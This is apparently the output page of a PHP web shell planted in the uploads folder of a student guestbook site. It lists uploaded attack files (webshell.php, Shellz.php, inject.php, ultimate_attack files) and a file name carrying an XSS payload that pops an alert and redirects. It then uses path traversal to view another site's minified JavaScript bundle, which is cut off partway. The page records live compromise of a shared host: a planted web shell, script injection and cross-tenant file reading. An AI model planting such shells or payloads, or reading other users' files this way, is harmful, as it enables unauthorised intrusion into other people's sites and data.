🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ../../../../589181.klas4s23.mid-ica.nl/public_html/ELearning/js/exercise.js

"use strict";(()=>{var tr=Object.defineProperty;var rr=(t,e)=>{for(var r in e)tr(t,r,{get:e[r],enumerable:!0})};function ct(t){let e=document.cookie.split("; ");for(let r of e){let[o,n]=r.split("=");if(o===t)return decodeURIComponent(n)}return null}function $(t,e,r={}){let o=`${encodeURIComponent(t)}=${encodeURIComponent(e)}`;if(r.expires){let n=r.expires instanceof Date?r.expires.toUTCString():r.expires;o+=`; expires=${n}`}r.path&&(o+=`; path=${r.path}`),r.domain&&(o+=`; domain=${r.domain}`),r.secure&&(o+="; secure"),document.cookie=o}var A=class{static{this.UserID=null}static{this.SessionToken=null}static getSessionId(){return ct("sessionId")}static setSessionId(e,r){$("sessionId",e,{expires:r})}static clearSessionId(){$("sessionId","",{expires:new Date(0)})}static login(e,r){this.setSessionId(e,r)}static logout(){this.clearSessionId()}static isLoggedIn(){let e=this.getSessionId();return e!=null&&e!==""}};function K(t,e){return function(){return t.apply(e,arguments)}}var{toString:or}=Object.prototype,{getPrototypeOf:ke}=Object,{iterator:me,toStringTag:ut}=Symbol,pe=(t=>e=>{let r=or.call(e);return t[r]||(t[r]=r.slice(8,-1).toLowerCase())})(Object.create(null)),P=t=>(t=t.toLowerCase(),e=>pe(e)===t),he=t=>e=>typeof e===t,{isArray:j}=Array,X=he("undefined");function nr(t){return t!==null&&!X(t)&&t.constructor!==null&&!X(t.constructor)&&C(t.constructor.isBuffer)&&t.constructor.isBuffer(t)}var dt=P("ArrayBuffer");function sr(t){let e;return typeof ArrayBuffer<"u"&&ArrayBuffer.isView?e=ArrayBuffer.isView(t):e=t&&t.buffer&&dt(t.buffer),e}var ir=he("string"),C=he("function"),ft=he("number"),ge=t=>t!==null&&typeof t=="object",ar=t=>t===!0||t===!1,fe=t=>{if(pe(t)!=="object")return!1;let e=ke(t);return(e===null||e===Object.prototype||Object.getPrototypeOf(e)===null)&&!(ut in t)&&!(me in t)},cr=P("Date"),lr=P("File"),ur=P("Blob"),dr=P("FileList"),fr=t=>ge(t)&&C(t.pipe),mr=t=>{let e;return t&&(typeof FormData=="function"&&t instanceof FormData||C(t.append)&&((e=pe(t))==="formdata"||e==="object"&&C(t.toString)&&t.toString()==="[object FormData]"))},pr=P("URLSearchParams"),[hr,gr,br,Er]=["ReadableStream","Request","Response","Headers"].map(P),yr=t=>t.trim?t.trim():t.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"");function Q(t,e,{allOwnKeys:r=!1}={}){if(t===null||typeof t>"u")return;let o,n;if(typeof t!="object"&&(t=[t]),j(t))for(o=0,n=t.length;o<n;o++)e.call(null,t[o],o,t);else{let s=r?Object.getOwnPropertyNames(t):Object.keys(t),i=s.length,c;for(o=0;o<i;o++)c=s[o],e.call(null,t[c],c,t)}}function mt(t,e){e=e.toLowerCase();let r=Object.keys(t),o=r.length,n;for(;o-- >0;)if(n=r[o],e===n.toLowerCase())return n;return null}var v=typeof globalThis<"u"?globalThis:typeof self<"u"?self:typeof window<"u"?window:global,pt=t=>!X(t)&&t!==v;function Be(){let{caseless:t}=pt(this)&&this||{},e={},r=(o,n)=>{let s=t&&mt(e,n)||n;fe(e[s])&&fe(o)?e[s]=Be(e[s],o):fe(o)?e[s]=Be({},o):j(o)?e[s]=o.slice():e[s]=o};for(let o=0,n=arguments.length;o<n;o++)arguments[o]&&Q(arguments[o],r);return e}var xr=(t,e,r,{allOwnKeys:o}={})=>(Q(e,(n,s)=>{r&&C(n)?t[s]=K(n,r):t[s]=n},{allOwnKeys:o}),t),wr=t=>(t.charCodeAt(0)===65279&&(t=t.slice(1)),t),Lr=(t,e,r,o)=>{t.prototype=Object.create(e.prototype,o),t.prototype.constructor=t,Object.defineProperty(t,"super",{value:e.prototype}),r&&Object.assign(t.prototype,r)},Sr=(t,e,r,o)=>{let n,s,i,c={};if(e=e||{},t==null)return e;do{for(n=Object.getOwnPropertyNames(t),s=n.length;s-- >0;)i=n[s],(!o||o(i,t,e))&&!c[i]&&(e[i]=t[i],c[i]=!0);t=r!==!1&&ke(t)}while(t&&(!r||r(t,e))&&t!==Object.prototype);return e},Rr=(t,e,r)=>{t=String(t),(r===void 0||r>t.length)&&(r=t.length),r-=e.length;let o=t.indexOf(e,r);return o!==-1&&o===r},Tr=t=>{if(!t)return null;if(j(t))return t;let e=t.length;if(!ft(e))return null;let r=new Array(e);for(;e-- >0;)r[e]=t[e];return r},Ir=(t=>e=>t&&e instanceof t)(typeof Uint8Array<"u"&&ke(Uint8Array)),Ar=(t,e)=>{let o=(t&&t[me]).call(t),n;for(;(n=o.next())&&!n.done;){let s=n.value;e.call(t,s[0],s[1])}},Or=(t,e)=>{let r,o=[];for(;(r=t.exec(e))!==null;)o.push(r);return o},Cr=P("HTMLFormElement"),Pr=t=>t.toLowerCase().replace(/[-_\s]([a-z\d])(\w*)/g,function(r,o,n){return o.toUpperCase()+n}),lt=(({hasOwnProperty:t})=>(e,r)=>t.call(e,r))(Object.prototype),Dr=P("RegExp"),ht=(t,e)=>{let r=Object.getOwnPropertyDescriptors(t),o={};Q(r,(n,s)=>{let i;(i=e(n,s,t))!==!1&&(o[s]=i||n)}),Object.defineProperties(t,o)},Nr=t=>{ht(t,(e,r)=>{if(C(t)&&["arguments","caller","callee"].indexOf(r)!==-1)return!1;let o=t[r];if(C(o)){if(e.enumerable=!1,"writable"in e){e.writable=!1;return}e.set||(e.set=()=>{throw Error("Can not rewrite read-only method '"+r+"'")})}})},Fr=(t,e)=>{let r={},o=n=>{n.forEach(s=>{r[s]=!0})};return j(t)?o(t):o(String(t).split(e)),r},Mr=()=>{},Br=(t,e)=>t!=null&&Number.isFinite(t=+t)?t:e;function kr(t){return!!(t&&C(t.append)&&t[ut]==="FormData"&&t[me])}var Ur=t=>{let e=new Array(10),r=(o,n)=>{if(ge(o)){if(e.indexOf(o)>=0)return;if(!("toJSON"in o)){e[n]=o;let s=j(o)?[]:{};return Q(o,(i,c)=>{let d=r(i,n+1);!X(d)&&(s[c]=d)}),e[n]=void 0,s}}return o};return r(t,0)},Wr=P("AsyncFunction"),_r=t=>t&&(ge(t)||C(t))&&C(t.then)&&C(t.catch),gt=((t,e)=>t?setImmediate:e?((r,o)=>(v.addEventListener("message",({source:n,data:s})=>{n===v&&s===r&&o.length&&o.shift()()},!1),n=>{o.push(n),v.postMessage(r,"*")}))(`axios@${Math.random()}`,[]):r=>setTimeout(r))(typeof setImmediate=="function",C(v.postMessage)),Hr=typeof queueMicrotask<"u"?queueMicrotask.bind(v):typeof process<"u"&&process.nextTick||gt,vr=t=>t!=null&&C(t[me]),a={isArray:j,isArrayBuffer:dt,isBuffer:nr,isFormData:mr,isArrayBufferView:sr,isString:ir,isNumber:ft,isBoolean:ar,isObject:ge,isPlainObject:fe,isReadableStream:hr,isRequest:gr,isResponse:br,isHeaders:Er,isUndefined:X,isDate:cr,isFile:lr,isBlob:ur,isRegExp:Dr,isFunction:C,isStream:fr,isURLSearchParams:pr,isTypedArray:Ir,isFileList:dr,forEach:Q,merge:Be,extend:xr,trim:yr,stripBOM:wr,inherits:Lr,toFlatObject:Sr,kindOf:pe,kindOfTest:P,endsWith:Rr,toArray:Tr,forEachEntry:Ar,matchAll:Or,isHTMLForm:Cr,hasOwnProperty:lt,hasOwnProp:lt,reduceDescriptors:ht,freezeMethods:Nr,toObjectSet:Fr,toCamelCase:Pr,noop:Mr,toFiniteNumber:Br,findKey:mt,global:v,isContextDefined:pt,isSpecCompliantForm:kr,toJSONObject:Ur,isAsyncFn:Wr,isThenable:_r,setImmediate:gt,asap:Hr,isIterable:vr};function q(t,e,r,o,n){Error.call(this),Error.captureStackTrace?Error.captureStackTrace(this,this.constructor):this.stack=new Error().stack,this.message=t,this.name="AxiosError",e&&(this.code=e),r&&(this.config=r),o&&(this.request=o),n&&(this.response=n,this.status=n.status?n.status:null)}a.inherits(q,Error,{toJSON:function(){return{message:this.message,name:this.name,description:this.description,number:this.number,fileName:this.fileName,lineNumber:this.lineNumber,columnNumber:this.columnNumber,stack:this.stack,config:a.toJSONObject(this.config),code:this.code,status:this.status}}});var bt=q.prototype,Et={};["ERR_BAD_OPTION_VALUE","ERR_BAD_OPTION","ECONNABORTED","ETIMEDOUT","ERR_NETWORK","ERR_FR_TOO_MANY_REDIRECTS","ERR_DEPRECATED","ERR_BAD_RESPONSE","ERR_BAD_REQUEST","ERR_CANCELED","ERR_NOT_SUPPORT","ERR_INVALID_URL"].forEach(t=>{Et[t]={value:t}});Object.defineProperties(q,Et);Object.defineProperty(bt,"isAxiosError",{value:!0});q.from=(t,e,r,o,n,s)=>{let i=Object.create(bt);return a.toFlatObject(t,i,function(d){return d!==Error.prototype},c=>c!=="isAxiosError"),q.call(i,t.message,e,r,o,n),i.cause=t,i.name=t.name,s&&Object.assign(i,s),i};var h=q;var be=null;function Ue(t){return a.isPlainObject(t)||a.isArray(t)}function xt(t){return a.endsWith(t,"[]")?t.slice(0,-2):t}function yt(t,e,r){return t?t.concat(e).map(function(n,s){return n=xt(n),!r&&s?"["+n+"]":n}).join(r?".":""):e}function jr(t){return a.isArray(t)&&!t.some(Ue)}var qr=a.toFlatObject(a,{},null,function(e){return/^is[A-Z]/.test(e)});function Jr(t,e,r){if(!a.isObject(t))throw new TypeError("target must be an object");e=e||new(be||FormData),r=a.toFlatObject(r,{metaTokens:!0,dots:!1,indexes:!1},!1,function(g,p){return!a.isUndefined(p[g])});let o=r.metaTokens,n=r.visitor||u,s=r.dots,i=r.indexes,d=(r.Blob||typeof Blob<"u"&&Blob)&&a.isSpecCompliantForm(e);if(!a.isFunction(n))throw new TypeError("visitor must be a function");function l(m){if(m===null)return"";if(a.isDate(m))return m.toISOString();if(!d&&a.isBlob(m))throw new h("Blob is not supported. Use a Buffer instead.");return a.isArrayBuffer(m)||a.isTypedArray(m)?d&&typeof Blob=="function"?new Blob([m]):Buffer.from(m):m}function u(m,g,p){let y=m;if(m&&!p&&typeof m=="object"){if(a.endsWith(g,"{}"))g=o?g:g.slice(0,-2),m=JSON.stringify(m);else if(a.isArray(m)&&jr(m)||(a.isFileList(m)||a.endsWith(g,"[]"))&&(y=a.toArray(m)))return g=xt(g),y.forEach(function(T,B){!(a.isUndefined(T)||T===null)&&e.append(i===!0?yt([g],B,s):i===null?g:g+"[]",l(T))}),!1}return Ue(m)?!0:(e.append(yt(p,g,s),l(m)),!1)}let f=[],b=Object.assign(qr,{defaultVisitor:u,convertValue:l,isVisitable:Ue});function L(m,g){if(!a.isUndefined(m)){if(f.indexOf(m)!==-1)throw Error("Circular reference detected in "+g.join("."));f.push(m),a.forEach(m,function(y,S){(!(a.isUndefined(y)||y===null)&&n.call(e,y,a.isString(S)?S.trim():S,g,b))===!0&&L(y,g?g.concat(S):[S])}),f.pop()}}if(!a.isObject(t))throw new TypeError("data must be an object");return L(t),e}var U=Jr;function wt(t){let e={"!":"%21","'":"%27","(":"%28",")":"%29","~":"%7E","%20":"+","%00":"\0"};return encodeURIComponent(t).replace(/[!'()~]|%20|%00/g,function(o){return e[o]})}function Lt(t,e){this._pairs=[],t&&U(t,this,e)}var St=Lt.prototype;St.append=function(e,r){this._pairs.push([e,r])};St.toString=function(e){let r=e?function(o){return e.call(this,o,wt)}:wt;return this._pairs.map(function(n){return r(n[0])+"="+r(n[1])},"").join("&")};var Ee=Lt;function zr(t){return encodeURIComponent(t).replace(/%3A/gi,":").replace(/%24/g,"$").replace(/%2C/gi,",").replace(/%20/g,"+").replace(/%5B/gi,"[").replace(/%5D/gi,"]")}function Z(t,e,r){if(!e)return t;let o=r&&r.encode||zr;a.isFunction(r)&&(r={serialize:r});let n=r&&r.serialize,s;if(n?s=n(e,r):s=a.isURLSearchParams(e)?e.toString():new Ee(e,r).toString(o),s){let i=t.indexOf("#");i!==-1&&(t=t.slice(0,i)),t+=(t.indexOf("?")===-1?"?":"&")+s}return t}var We=class{constructor(){this.handlers=[]}use(e,r,o){return this.handlers.push({fulfilled:e,rejected:r,synchronous:o?o.synchronous:!1,runWhen:o?o.runWhen:null}),this.handlers.length-1}eject(e){this.handlers[e]&&(this.handlers[e]=null)}clear(){this.handlers&&(this.handlers=[])}forEach(e){a.forEach(this.handlers,function(o){o!==null&&e(o)})}},_e=We;var ye={silentJSONParsing:!0,forcedJSONParsing:!0,clarifyTimeoutError:!1};var Rt=typeof URLSearchParams<"u"?URLSearchParams:Ee;var Tt=typeof FormData<"u"?FormData:null;var It=typeof Blob<"u"?Blob:null;var At={isBrowser:!0,classes:{URLSearchParams:Rt,FormData:Tt,Blob:It},protocols:["http","https","file","blob","url","data"]};var je={};rr(je,{hasBrowserEnv:()=>ve,hasStandardBrowserEnv:()=>Vr,hasStandardBrowserWebWorkerEnv:()=>Gr,navigator:()=>He,origin:()=>$r});var ve=typeof window<"u"&&typeof document<"u",He=typeof navigator=="object"&&navigator||void 0,Vr=ve&&(!He||["ReactNative","NativeScript","NS"].indexOf(He.product)<0),Gr=typeof WorkerGlobalScope<"u"&&self instanceof WorkerGlobalScope&&typeof self.importScripts=="function",$r=ve&&window.location.href||"http://localhost";var E={...je,...At};function qe(t,e){return U(t,new E.classes.URLSearchParams,Object.assign({visitor:function(r,o,n,s){return E.isNode&&a.isBuffer(r)?(this.append(o,r.toString("base64")),!1):s.defaultVisitor.apply(this,arguments)}},e))}function Kr(t){return a.matchAll(/\w+|\[(\w*)]/g,t).map(e=>e[0]==="[]"?"":e[1]||e[0])}function Xr(t){let e={},r=Object.keys(t),o,n=r.length,s;for(o=0;o<n;o++)s=r[o],e[s]=t[s];return e}function Qr(t){function e(r,o,n,s){let i=r[s++];if(i==="__proto__")return!0;let c=Number.isFinite(+i),d=s>=r.length;return i=!i&&a.isArray(n)?n.length:i,d?(a.hasOwnProp(n,i)?n[i]=[n[i],o]:n[i]=o,!c):((!n[i]||!a.isObject(n[i]))&&(n[i]=[]),e(r,o,n[i],s)&&a.isArray(n[i])&&(n[i]=Xr(n[i])),!c)}if(a.isFormData(t)&&a.isFunction(t.entries)){let r={};return a.forEachEntry(t,(o,n)=>{e(Kr(o),n,r,0)}),r}return null}var xe=Qr;function Zr(t,e,r){if(a.isString(t))try{return(e||JSON.parse)(t),a.trim(t)}catch(o){if(o.name!=="SyntaxError")throw o}return(r||JSON.stringify)(t)}var Je={transitional:ye,adapter:["xhr","http","fetch"],transformRequest:[function(e,r){let o=r.getContentType()||"",n=o.indexOf("application/json")>-1,s=a.isObject(e);if(s&&a.isHTMLForm(e)&&(e=new FormData(e)),a.isFormData(e))return n?JSON.stringify(xe(e)):e;if(a.isArrayBuffer(e)||a.isBuffer(e)||a.isStream(e)||a.isFile(e)||a.isBlob(e)||a.isReadableStream(e))return e;if(a.isArrayBufferView(e))return e.buffer;if(a.isURLSearchParams(e))return r.setContentType("application/x-www-form-urlencoded;charset=utf-8",!1),e.toString();let c;if(s){if(o.indexOf("application/x-www-form-urlencoded")>-1)return qe(e,this.formSerializer).toString();if((c=a.isFileList(e))||o.indexOf("multipart/form-data")>-1){let d=this.env&&this.env.FormData;return U(c?{"files[]":e}:e,d&&new d,this.formSerializer)}}return s||n?(r.setContentType("application/json",!1),Zr(e)):e}],transformResponse:[function(e){let r=this.transitional||Je.transitional,o=r&&r.forcedJSONParsing,n=this.responseType==="json";if(a.isResponse(e)||a.isReadableStream(e))return e;if(e&&a.isString(e)&&(o&&!this.responseType||n)){let i=!(r&&r.silentJSONParsing)&&n;try{return JSON.parse(e)}catch(c){if(i)throw c.name==="SyntaxError"?h.from(c,h.ERR_BAD_RESPONSE,this,null,this.response):c}}return e}],timeout:0,xsrfCookieName:"XSRF-TOKEN",xsrfHeaderName:"X-XSRF-TOKEN",maxContentLength:-1,maxBodyLength:-1,env:{FormData:E.classes.FormData,Blob:E.classes.Blob},validateStatus:function(e){return e>=200&&e<300},headers:{common:{Accept:"application/json, text/plain, */*","Content-Type":void 0}}};a.forEach(["delete","get","head","post","put","patch"],t=>{Je.headers[t]={}});var J=Je;var Yr=a.toObjectSet(["age","authorization","content-length","content-type","etag","expires","from","host","if-modified-since","if-unmodified-since","last-modified","location","max-forwards","proxy-authorization","referer","retry-after","user-agent"]),Ot=t=>{let e={},r,o,n;return t&&t.split(`
`).forEach(function(i){n=i.indexOf(":"),r=i.substring(0,n).trim().toLowerCase(),o=i.substring(n+1).trim(),!(!r||e[r]&&Yr[r])&&(r==="set-cookie"?e[r]?e[r].push(o):e[r]=[o]:e[r]=e[r]?e[r]+", "+o:o)}),e};var Ct=Symbol("internals");function Y(t){return t&&String(t).trim().toLowerCase()}function we(t){return t===!1||t==null?t:a.isArray(t)?t.map(we):String(t)}function eo(t){let e=Object.create(null),r=/([^\s,;=]+)\s*(?:=\s*([^,;]+))?/g,o;for(;o=r.exec(t);)e[o[1]]=o[2];return e}var to=t=>/^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(t.trim());function ze(t,e,r,o,n){if(a.isFunction(o))return o.call(this,e,r);if(n&&(e=r),!!a.isString(e)){if(a.isString(o))return e.indexOf(o)!==-1;if(a.isRegExp(o))return o.test(e)}}function ro(t){return t.trim().toLowerCase().replace(/([a-z\d])(\w*)/g,(e,r,o)=>r.toUpperCase()+o)}function oo(t,e){let r=a.toCamelCase(" "+e);["get","set","has"].forEach(o=>{Object.defineProperty(t,o+r,{value:function(n,s,i){return this[o].call(this,e,n,s,i)},configurable:!0})})}var z=class{constructor(e){e&&this.set(e)}set(e,r,o){let n=this;function s(c,d,l){let u=Y(d);if(!u)throw new Error("header name must be a non-empty string");let f=a.findKey(n,u);(!f||n[f]===void 0||l===!0||l===void 0&&n[f]!==!1)&&(n[f||d]=we(c))}let i=(c,d)=>a.forEach(c,(l,u)=>s(l,u,d));if(a.isPlainObject(e)||e instanceof this.constructor)i(e,r);else if(a.isString(e)&&(e=e.trim())&&!to(e))i(Ot(e),r);else if(a.isObject(e)&&a.isIterable(e)){let c={},d,l;for(let u of e){if(!a.isArray(u))throw TypeError("Object iterator must return a key-value pair");c[l=u[0]]=(d=c[l])?a.isArray(d)?[...d,u[1]]:[d,u[1]]:u[1]}i(c,r)}else e!=null&&s(r,e,o);return this}get(e,r){if(e=Y(e),e){let o=a.findKey(this,e);if(o){let n=this[o];if(!r)return n;if(r===!0)return eo(n);if(a.isFunction(r))return r.call(this,n,o);if(a.isRegExp(r))return r.exec(n);throw new TypeError("parser must be boolean|regexp|function")}}}has(e,r){if(e=Y(e),e){let o=a.findKey(this,e);return!!(o&&this[o]!==void 0&&(!r||ze(this,this[o],o,r)))}return!1}delete(e,r){let o=this,n=!1;function s(i){if(i=Y(i),i){let c=a.findKey(o,i);c&&(!r||ze(o,o[c],c,r))&&(delete o[c],n=!0)}}return a.isArray(e)?e.forEach(s):s(e),n}clear(e){let r=Object.keys(this),o=r.length,n=!1;for(;o--;){let s=r[o];(!e||ze(this,this[s],s,e,!0))&&(delete this[s],n=!0)}return n}normalize(e){let r=this,o={};return a.forEach(this,(n,s)=>{let i=a.findKey(o,s);if(i){r[i]=we(n),delete r[s];return}let c=e?ro(s):String(s).trim();c!==s&&delete r[s],r[c]=we(n),o[c]=!0}),this}concat(...e){return this.constructor.concat(this,...e)}toJSON(e){let r=Object.create(null);return a.forEach(this,(o,n)=>{o!=null&&o!==!1&&(r[n]=e&&a.isArray(o)?o.join(", "):o)}),r}[Symbol.iterator](){return Object.entries(this.toJSON())[Symbol.iterator]()}toString(){return Object.entries(this.toJSON()).map(([e,r])=>e+": "+r).join(`
`)}getSetCookie(){return this.get("set-cookie")||[]}get[Symbol.toStringTag](){return"AxiosHeaders"}static from(e){return e instanceof this?e:new this(e)}static concat(e,...r){let o=new this(e);return r.forEach(n=>o.set(n)),o}static accessor(e){let o=(this[Ct]=this[Ct]={accessors:{}}).accessors,n=this.prototype;function s(i){let c=Y(i);o[c]||(oo(n,i),o[c]=!0)}return a.isArray(e)?e.forEach(s):s(e),this}};z.accessor(["Content-Type","Content-Length","Accept","Accept-Encoding","User-Agent","Authorization"]);a.reduceDescriptors(z.prototype,({value:t},e)=>{let r=e[0].toUpperCase()+e.slice(1);return{get:()=>t,set(o){this[r]=o}}});a.freezeMethods(z);var R=z;function ee(t,e){let r=this||J,o=e||r,n=R.from(o.headers),s=o.data;return a.forEach(t,function(c){s=c.call(r,s,n.normalize(),e?e.status:void 0)}),n.normalize(),s}function te(t){return!!(t&&t.__CANCEL__)}function Pt(t,e,r){h.call(this,t??"canceled",h.ERR_CANCELED,e,r),this.name="CanceledError"}a.inherits(Pt,h,{__CANCEL__:!0});var N=Pt;function re(t,e,r){let o=r.config.validateStatus;!r.status||!o||o(r.status)?t(r):e(new h("Request failed with status code "+r.status,[h.ERR_BAD_REQUEST,h.ERR_BAD_RESPONSE][Math.floor(r.status/100)-4],r.config,r.request,r))}function Ve(t){let e=/^([-+\w]{1,25})(:?\/\/|:)/.exec(t);return e&&e[1]||""}function no(t,e){t=t||10;let r=new Array(t),o=new Array(t),n=0,s=0,i;return e=e!==void 0?e:1e3,function(d){let l=Date.now(),u=o[s];i||(i=l),r[n]=d,o[n]=l;let f=s,b=0;for(;f!==n;)b+=r[f++],f=f%t;if(n=(n+1)%t,n===s&&(s=(s+1)%t),l-i<e)return;let L=u&&l-u;return L?Math.round(b*1e3/L):void 0}}var Dt=no;function so(t,e){let r=0,o=1e3/e,n,s,i=(l,u=Date.now())=>{r=u,n=null,s&&(clearTimeout(s),s=null),t.apply(null,l)};return[(...l)=>{let u=Date.now(),f=u-r;f>=o?i(l,u):(n=l,s||(s=setTimeout(()=>{s=null,i(n)},o-f)))},()=>n&&i(n)]}var Nt=so;var V=(t,e,r=3)=>{let o=0,n=Dt(50,250);return Nt(s=>{let i=s.loaded,c=s.lengthComputable?s.total:void 0,d=i-o,l=n(d),u=i<=c;o=i;let f={loaded:i,total:c,progress:c?i/c:void 0,bytes:d,rate:l||void 0,estimated:l&&c&&u?(c-i)/l:void 0,event:s,lengthComputable:c!=null,[e?"download":"upload"]:!0};t(f)},r)},Ge=(t,e)=>{let r=t!=null;return[o=>e[0]({lengthComputable:r,total:t,loaded:o}),e[1]]},$e=t=>(...e)=>a.asap(()=>t(...e));var Ft=E.hasStandardBrowserEnv?((t,e)=>r=>(r=new URL(r,E.origin),t.protocol===r.protocol&&t.host===r.host&&(e||t.port===r.port)))(new URL(E.origin),E.navigator&&/(msie|trident)/i.test(E.navigator.userAgent)):()=>!0;var Mt=E.hasStandardBrowserEnv?{write(t,e,r,o,n,s){let i=[t+"="+encodeURIComponent(e)];a.isNumber(r)&&i.push("expires="+new Date(r).toGMTString()),a.isString(o)&&i.push("path="+o),a.isString(n)&&i.push("domain="+n),s===!0&&i.push("secure"),document.cookie=i.join("; ")},read(t){let e=document.cookie.match(new RegExp("(^|;\\s*)("+t+")=([^;]*)"));return e?decodeURIComponent(e[3]):null},remove(t){this.write(t,"",Date.now()-864e5)}}:{write(){},read(){return null},remove(){}};function Ke(t){return/^([a-z][a-z\d+\-.]*:)?\/\//i.test(t)}function Xe(t,e){return e?t.replace(/\/?\/$/,"")+"/"+e.replace(/^\/+/,""):t}function oe(t,e,r){let o=!Ke(e);return t&&(o||r==!1)?Xe(t,e):e}var Bt=t=>t instanceof R?{...t}:t;function D(t,e){e=e||{};let r={};function o(l,u,f,b){return a.isPlainObject(l)&&a.isPlainObject(u)?a.merge.call({caseless:b},l,u):a.isPlainObject(u)?a.merge({},u):a.isArray(u)?u.slice():u}function n(l,u,f,b){if(a.isUndefined(u)){if(!a.isUndefined(l))return o(void 0,l,f,b)}else return o(l,u,f,b)}function s(l,u){if(!a.isUndefined(u))return o(void 0,u)}function i(l,u){if(a.isUndefined(u)){if(!a.isUndefined(l))return o(void 0,l)}else return o(void 0,u)}function c(l,u,f){if(f in e)return o(l,u);if(f in t)return o(void 0,l)}let d={url:s,method:s,data:s,baseURL:i,transformRequest:i,transformResponse:i,paramsSerializer:i,timeout:i,timeoutMessage:i,withCredentials:i,withXSRFToken:i,adapter:i,responseType:i,xsrfCookieName:i,xsrfHeaderName:i,onUploadProgress:i,onDownloadProgress:i,decompress:i,maxContentLength:i,maxBodyLength:i,beforeRedirect:i,transport:i,httpAgent:i,httpsAgent:i,cancelToken:i,socketPath:i,responseEncoding:i,validateStatus:c,headers:(l,u,f)=>n(Bt(l),Bt(u),f,!0)};return a.forEach(Object.keys(Object.assign({},t,e)),function(u){let f=d[u]||n,b=f(t[u],e[u],u);a.isUndefined(b)&&f!==c||(r[u]=b)}),r}var Le=t=>{let e=D({},t),{data:r,withXSRFToken:o,xsrfHeaderName:n,xsrfCookieName:s,headers:i,auth:c}=e;e.headers=i=R.from(i),e.url=Z(oe(e.baseURL,e.url,e.allowAbsoluteUrls),t.params,t.paramsSerializer),c&&i.set("Authorization","Basic "+btoa((c.username||"")+":"+(c.password?unescape(encodeURIComponent(c.password)):"")));let d;if(a.isFormData(r)){if(E.hasStandardBrowserEnv||E.hasStandardBrowserWebWorkerEnv)i.setContentType(void 0);else if((d=i.getContentType())!==!1){let[l,...u]=d?d.split(";").map(f=>f.trim()).filter(Boolean):[];i.setContentType([l||"multipart/form-data",...u].join("; "))}}if(E.hasStandardBrowserEnv&&(o&&a.isFunction(o)&&(o=o(e)),o||o!==!1&&Ft(e.url))){let l=n&&s&&Mt.read(s);l&&i.set(n,l)}return e};var io=typeof XMLHttpRequest<"u",kt=io&&function(t){return new Promise(function(r,o){let n=Le(t),s=n.data,i=R.from(n.headers).normalize(),{responseType:c,onUploadProgress:d,onDownloadProgress:l}=n,u,f,b,L,m;function g(){L&&L(),m&&m(),n.cancelToken&&n.cancelToken.unsubscribe(u),n.signal&&n.signal.removeEventListener("abort",u)}let p=new XMLHttpRequest;p.open(n.method.toUpperCase(),n.url,!0),p.timeout=n.timeout;function y(){if(!p)return;let T=R.from("getAllResponseHeaders"in p&&p.getAllResponseHeaders()),O={data:!c||c==="text"||c==="json"?p.responseText:p.response,status:p.status,statusText:p.statusText,headers:T,config:t,request:p};re(function(H){r(H),g()},function(H){o(H),g()},O),p=null}"onloadend"in p?p.onloadend=y:p.onreadystatechange=function(){!p||p.readyState!==4||p.status===0&&!(p.responseURL&&p.responseURL.indexOf("file:")===0)||setTimeout(y)},p.onabort=function(){p&&(o(new h("Request aborted",h.ECONNABORTED,t,p)),p=null)},p.onerror=function(){o(new h("Network Error",h.ERR_NETWORK,t,p)),p=null},p.ontimeout=function(){let B=n.timeout?"timeout of "+n.timeout+"ms exceeded":"timeout exceeded",O=n.transitional||ye;n.timeoutErrorMessage&&(B=n.timeoutErrorMessage),o(new h(B,O.clarifyTimeoutError?h.ETIMEDOUT:h.ECONNABORTED,t,p)),p=null},s===void 0&&i.setContentType(null),"setRequestHeader"in p&&a.forEach(i.toJSON(),function(B,O){p.setRequestHeader(O,B)}),a.isUndefined(n.withCredentials)||(p.withCredentials=!!n.withCredentials),c&&c!=="json"&&(p.responseType=n.responseType),l&&([b,m]=V(l,!0),p.addEventListener("progress",b)),d&&p.upload&&([f,L]=V(d),p.upload.addEventListener("progress",f),p.upload.addEventListener("loadend",L)),(n.cancelToken||n.signal)&&(u=T=>{p&&(o(!T||T.type?new N(null,t,p):T),p.abort(),p=null)},n.cancelToken&&n.cancelToken.subscribe(u),n.signal&&(n.signal.aborted?u():n.signal.addEventListener("abort",u)));let S=Ve(n.url);if(S&&E.protocols.indexOf(S)===-1){o(new h("Unsupported protocol "+S+":",h.ERR_BAD_REQUEST,t));return}p.send(s||null)})};var ao=(t,e)=>{let{length:r}=t=t?t.filter(Boolean):[];if(e||r){let 